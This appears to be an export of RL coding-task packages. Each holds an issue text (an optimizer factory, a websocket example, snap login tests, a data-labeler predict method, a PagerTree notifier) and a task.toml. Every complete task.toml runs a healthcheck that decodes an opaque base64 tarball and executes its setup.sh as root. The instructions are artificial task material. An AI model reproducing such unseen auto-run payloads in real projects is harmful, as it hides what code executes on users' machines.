H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW+uBhyD9xTmNDp8E2vOssWIPtDTp8RvhaVxkJaVyggh6xBGQc6EPDqmT8TTUtHIp8wFHZ6M6OXTF5fdo9NL+gKtvJUe66UwbtNIAf0gacxtGpfKQCtou7GyFkVpieXWmczCajC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AhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000428/instruction.md ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ # Add a runtime factory for optimizers
4
+
5
+ SINGA's C++ model library provides several gradient-descent optimizers (vanilla
6
+ SGD with momentum, Nesterov, Adagrad and RMSProp). Today the only way to obtain
7
+ one is to name the concrete class at compile time. Code that drives training
8
+ from a configuration or from a binding layer needs to pick the optimizer at
9
+ runtime from a plain type name, so we want a small factory in the optimizer
10
+ public API.
11
+
12
+ Add a function
13
+
14
+ ```cpp
15
+ std::shared_ptr<singa::Optimizer> singa::CreateOptimizer(const std::string& type);
16
+ ```
17
+
18
+ that constructs the optimizer selected by `type` and returns it through the
19
+ common `Optimizer` base class, so the caller can drive it polymorphically
20
+ (`Setup`, `Apply`, etc.) without knowing the concrete type. It must be reachable
21
+ from the optimizer's public header, i.e. any translation unit that includes the
22
+ optimizer header can call it.
23
+
24
+ Requirements:
25
+
26
+ - The accepted type names are exactly `"SGD"`, `"Nesterov"`, `"Adagrad"` and
27
+ `"RMSProp"`. Each must yield an optimizer that performs that algorithm's
28
+ update: an object created with a given name, once set up and applied, must
29
+ produce the same parameter update as constructing that optimizer class
30
+ directly and applying it the same way.
31
+ - The returned handle must be usable purely through the `Optimizer` base
32
+ interface.
33
+ - Passing any other (unrecognized) string must fail fast — abort with a fatal
34
+ error rather than returning a null or otherwise unusable optimizer.
35
+
36
+ No change to the optimizers' update math is expected; this is about being able
37
+ to obtain them by name.
tasks/format-code-task-000428/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000428"
5
+ description = "Add a runtime factory for optimizers"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "C++"
11
+ domain = "code"
12
+ keywords = ["code", "C++"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000428"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Add a runtime factory for optimizers"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:c32a5965bbace00a6bae9a1f85a92c4f3aec47ba6a3ea3cd213e5cc4672fd43f"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW+uBhyD9xTmNDp8E2vOssWIPtDTp8RvhaVxkJaVyggh6xBGQc6EPDqmT8TTUtHIp8wFHZ6M6O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dcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000445/instruction.md ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## websocket example1 is more verbose than it needs to be, and client/server disagree on the wire format
4
+
5
+ While going through `topics/web/sockets/example1`, the server-side handler in `main.go` looks more complicated than it should be for a teaching example. It manually allocates a 512-byte buffer, calls `ws.Read` into it, checks `n > 0`, slices the bytes back into a string, builds a `Message`, and then constructs a `json.Encoder` around the connection to write the response. For an introductory websocket sample this is a lot of plumbing, and most of it is exactly the kind of boilerplate the `golang.org/x/net/websocket` package is supposed to spare you from.
6
+
7
+ While reading through it I also noticed the two sides don't actually agree on the wire format:
8
+
9
+ - The browser side in `static/app.js` sends the raw input string:
10
+ ```js
11
+ ws.send(val);
12
+ ```
13
+ - The server, however, never decodes that as JSON on the way in (it just reads bytes), but then turns around and JSON-encodes the response, and the client side does `JSON.parse(evt.data)` on what comes back.
14
+
15
+ So the inbound direction is "raw text" and the outbound direction is "JSON", even though everything around it is dressed up like it's a JSON conversation. It's confusing to read as an example — a learner can't tell what the intended convention is.
16
+
17
+ Two things I'd like to see:
18
+
19
+ 1. Simplify the server handler so it isn't doing manual buffer management and manual JSON encoding when the websocket library can handle that for you. The current shape buries the actual lesson (read a message, transform it, write a message back) under buffer-size and byte-slice noise.
20
+ 2. Make the client and the server agree: if the response is JSON, the request should be JSON too, so the example is internally consistent and a reader doesn't have to wonder whether the asymmetry is intentional.
21
+
22
+ The externally visible behavior should stay the same — the browser types a string, the server echoes back a `Message` with `original`, `formatted` (uppercased), and `received`, and the page renders it. This is purely about making the example shorter and self-consistent.
tasks/format-code-task-000445/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000445"
5
+ description = "websocket example1 is more verbose than it needs to be, and client/server disagree on the wire format"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Go"
11
+ domain = "code"
12
+ keywords = ["code", "Go"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000445"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "websocket example1 is more verbose than it needs to be, and client/server disagree on the wire format"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:7c8c9f1374985175ecfb5cbafdadc0b9a47389fc84a51aa916f5d08e37b5b9a5"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSela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Hkden7XQO9TirkkMrnKBWI8RMgYFA3veIPtOKcT3E5w/xK2mrvaFTYcfdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000622/instruction.md ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ### snap login tests are unreliable on ppc64el / powerpc
4
+
5
+ When building and running the `cmd/snap` test suite on ppc64el (and also powerpc), the tests covering `snap login` are flaky / fail outright. On amd64 they pass.
6
+
7
+ Looking at how the login tests work, they spin up a pty via `/dev/ptmx` to feed a fake password into `terminal.ReadPassword`, because `requestLogin` reads the password directly from the terminal fd. That pty-based setup just doesn't behave consistently across architectures — what works on amd64 doesn't necessarily work on ppc64el/powerpc, and the test ends up either hanging or failing to deliver the input.
8
+
9
+ It would be much better if the login tests didn't depend on a real pty at all. The actual thing under test is the login flow logic (prompting for password, handling 2FA retry, trimming, etc.), not the terminal plumbing — so the password-reading step should be substitutable in tests without going through `/dev/ptmx`. That way the suite runs reliably on every architecture we care about.
10
+
11
+ I'd expect the swappable seam to look something like a package-level `ReadPassword` variable that tests can reassign to a fake.
tasks/format-code-task-000622/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000622"
5
+ description = "snap login tests are unreliable on ppc64el / powerpc"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Go"
11
+ domain = "code"
12
+ keywords = ["code", "Go"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000622"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "snap login tests are unreliable on ppc64el / powerpc"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:41c0de22a34d8c5e1496970845916f87a5dc5799b72803796c144e570424e38d"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW+uBhyD9xTmNDp8E2vOssWIPtDTp8RvhaVxkJaVyggh6xBGQc6EPDqmT8TTUtHIp8wFHZ6M6OXTF5fdo9NL+gKtvJUe66UwbtNIAf0gacxtGpfKQCtou7GyFkVpieXWmczCajC7lCaYa2H5ZE3Xy5U2XpN8OMuNPHBzdBJCxB/RXS9oLQ31nGfijFkG/UysGl53/Wbi2nHULOhbQpS4nQ8O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LYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000624/instruction.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ I want configured DataProfiler data labelers to expose a stateful `predict(data, batch_size=32, predict_options=None, error_on_mismatch=False, verbose=True) -> dict` method. After I create or load a structured, unstructured, regex, or column-name data labeler with a preprocessor, model, and postprocessor, calling `predict` should run the prediction pipeline on that instance and return the postprocessor's prediction dictionary.
4
+
5
+ For example, if I build a labeler with custom components where the preprocessor turns `['abc', 'def']` into one batch, the model returns `{'pred': [1, 2]}`, and the postprocessor turns that into `{'pred': ['A', 'B']}`, then `labeler.predict(['abc', 'def'])` should return `{'pred': ['A', 'B']}`. If I call `labeler.predict(['abc'], batch_size=8, predict_options={'show_confidences': True}, verbose=False)`, the preprocessor should receive the requested batch size, the model should receive `show_confidences=True` and `verbose=False`, and the returned dictionary should include the postprocessor output for those model results.
6
+
7
+ The method should accept prediction inputs as lists, NumPy arrays, pandas Series/DataFrames, and DataProfiler data objects, and should reject unsupported inputs such as a plain string with a `TypeError`. Before running the model it should validate that the preprocessor, model, and postprocessor parameters are compatible; by default mismatches should emit a runtime warning and continue, while `error_on_mismatch=True` should raise `RuntimeError` instead of producing predictions.
tasks/format-code-task-000624/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000624"
5
+ description = "I want configured DataProfiler data labelers to expose a stateful `predict(data, batch_size=32…"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000624"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "I want configured DataProfiler data labelers to expose a stateful `predict(data, batch_size=32…"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:dcfd71de34a59fbc329fce8763f8555b0fde809924fc22506b68164103f91c17"
29
+ workdir = "/workspace/repo"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAA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9Y+TKu+R9hgyf5raP0mXVBgDvD6/rIYU3rBY5/BVZVcm+0PcJRf67MHSNpwfN0FfCms+NXYDsvXEj6BzdhUX1Yh19vx6tAzB894/rf717/c9fohum4U/18CbsZhTzFQxfLx65H5L59Xh76RhG+00rBYtdMAjJs69hdp6JfdCbrh+E/uCq7QAlY7za1W620TqJu0Qw26+hjQl/Q8FN2B2XQzSfHxgf32MY8PPCiMIC3wb0oZsTMfVVs24Ujd040g3bbrTshpIRELqBaTUFucFiMAkdfnJTxsX44vTFl4tupvnaQDNyI9+96T8IrGrx7bP5jgl63yiUIU1HwcF+7dd+7dd+7dd+7dd+7dd+7dd+7dd+7dd+/XnXfwHTG2K6ACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000625/instruction.md ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ # Add a PagerTree notification service
4
+
5
+ We'd like Apprise to be able to send alerts to [PagerTree](https://pagertree.com)
6
+ through its webhook integration API. Please add a new notification service that is
7
+ reachable with the `pagertree://` URL scheme and behaves as described below.
8
+
9
+ ## URL format
10
+
11
+ ```
12
+ pagertree://{integration_id}
13
+ pagertree://{integration_id}?action=resolve&thirdparty=abc123&urgency=high&tags=prod,server
14
+ ```
15
+
16
+ * `integration_id` is the only required component. A valid integration id begins
17
+ with `int_` followed by between 7 and 14 additional characters, each of which
18
+ is a letter, digit, hyphen, or underscore. If the integration id is missing or
19
+ does not satisfy this pattern, constructing the object must raise a `TypeError`.
20
+ * `thirdparty` (optional) — an externally supplied id used to correlate alerts.
21
+ If supplied it must be a non-empty string, otherwise a `TypeError` is raised.
22
+ * `action` (optional) — one of `create`, `acknowledge`, or `resolve`. The default
23
+ is `create`. Any value that is not one of these three is ignored and the default
24
+ (`create`) is used instead.
25
+ * `urgency` (optional) — one of `silent`, `low`, `medium`, `high`, or `critical`.
26
+ Any other value (or omitting it) means no urgency is sent at all.
27
+ * `tags` (optional) — a comma separated list of tags.
28
+
29
+ The service must also support three kinds of prefixed URL arguments, mirroring the
30
+ convention used by other webhook-style services in this project:
31
+
32
+ * arguments prefixed with `+` are added as **HTTP headers** on the outgoing request,
33
+ * arguments prefixed with `:` are merged into the top level of the **JSON payload**,
34
+ overriding any value already there,
35
+ * arguments prefixed with `-` are collected into a **`meta`** object inside the payload.
36
+
37
+ The object's `url()` must round-trip: re-instantiating from the value returned by
38
+ `url()` must yield an equivalent service.
39
+
40
+ ## Delivery behavior
41
+
42
+ A notification performs an HTTP `POST` to
43
+ `https://api.pagertree.com/integration/{integration_id}`. The request body is JSON
44
+ and the request always carries a `Content-Type: application/json` header (plus any
45
+ headers supplied with the `+` prefix, which take precedence).
46
+
47
+ The JSON body always contains:
48
+
49
+ * `id` — the `thirdparty` value when one was provided, otherwise a generated,
50
+ non-empty unique identifier (a fresh one per notification).
51
+ * `event_type` — the resolved action (`create`, `acknowledge`, or `resolve`).
52
+
53
+ When (and only when) the action is `create`, the body additionally contains:
54
+
55
+ * `title` — the notification title, falling back to the application description
56
+ when no title is given,
57
+ * `description` — the notification body,
58
+ * `meta` — a JSON object built from the `-` prefixed arguments (an empty object
59
+ when none were given),
60
+ * `tags` — the list of tags (an empty list when none were given),
61
+ * `urgency` — present only when a valid urgency was provided.
62
+
63
+ For the `acknowledge` and `resolve` actions, none of `title`, `description`,
64
+ `meta`, `tags`, or `urgency` are included — only `id`, `event_type`, and whatever
65
+ was merged in through `:` prefixed payload arguments.
66
+
67
+ Any `:` prefixed payload arguments are applied last, so they can add to or override
68
+ the fields above.
69
+
70
+ ## Response handling
71
+
72
+ HTTP responses with a 2xx status code (specifically `200`, `201`, and `202`) are
73
+ treated as success and the notification reports success. Any other status code
74
+ (for example `402`, `403`, `404`, `405`, or `429`) is treated as a delivery
75
+ failure and the notification reports failure. A connection-level error is also a
76
+ failure.
tasks/format-code-task-000625/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000625"
5
+ description = "Add a PagerTree notification service"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000625"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Add a PagerTree notification service"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:ecc7de8ea3f4a35a710c75416ab99f551404fc049ee457bb071d80174b9c5c19"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
